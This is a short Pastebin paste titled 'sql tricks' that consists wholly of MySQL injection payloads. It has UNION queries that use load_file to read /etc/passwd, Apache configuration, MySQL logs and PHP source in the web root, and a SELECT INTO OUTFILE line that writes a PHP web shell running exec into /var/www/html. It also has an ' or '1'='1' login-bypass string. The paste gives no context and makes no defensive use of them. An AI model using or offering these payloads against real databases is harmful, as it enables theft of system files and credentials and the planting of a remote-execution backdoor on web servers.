Advertisement
awchjimmy

sql tricks

Sep 25th, 2018
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
MySQL 0.65 KB | None | 0 0
  1. sql tricks
  2.  
  3. select userreal from users LIMIT 1,5
  4.  
  5. select userreal from users LIMIT 1,5 UNION all select load_file('/etc/passwd')
  6.  
  7. show variables
  8.  
  9.  
  10. select userreal from users LIMIT 1,5 UNION all select load_file('/var/log/mysql/error.log')
  11. select userreal from users LIMIT 1,5 UNION all select load_file('/etc/apache2/apache2.conf')
  12. select userreal from users LIMIT 1,5 UNION all select load_file('/etc/apache2/sites-enabled/000-default.conf')
  13.  
  14. select username from pma_recent union all select load_file('/var/www/html/users_registered.php');
  15.  
  16. SELECT '<?php echo exec("find ."); ?>' INTO OUTFILE '/var/www/html/6d57.php'
  17.  
  18. ' or '1'='1' LIMIT 175, 1 --
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement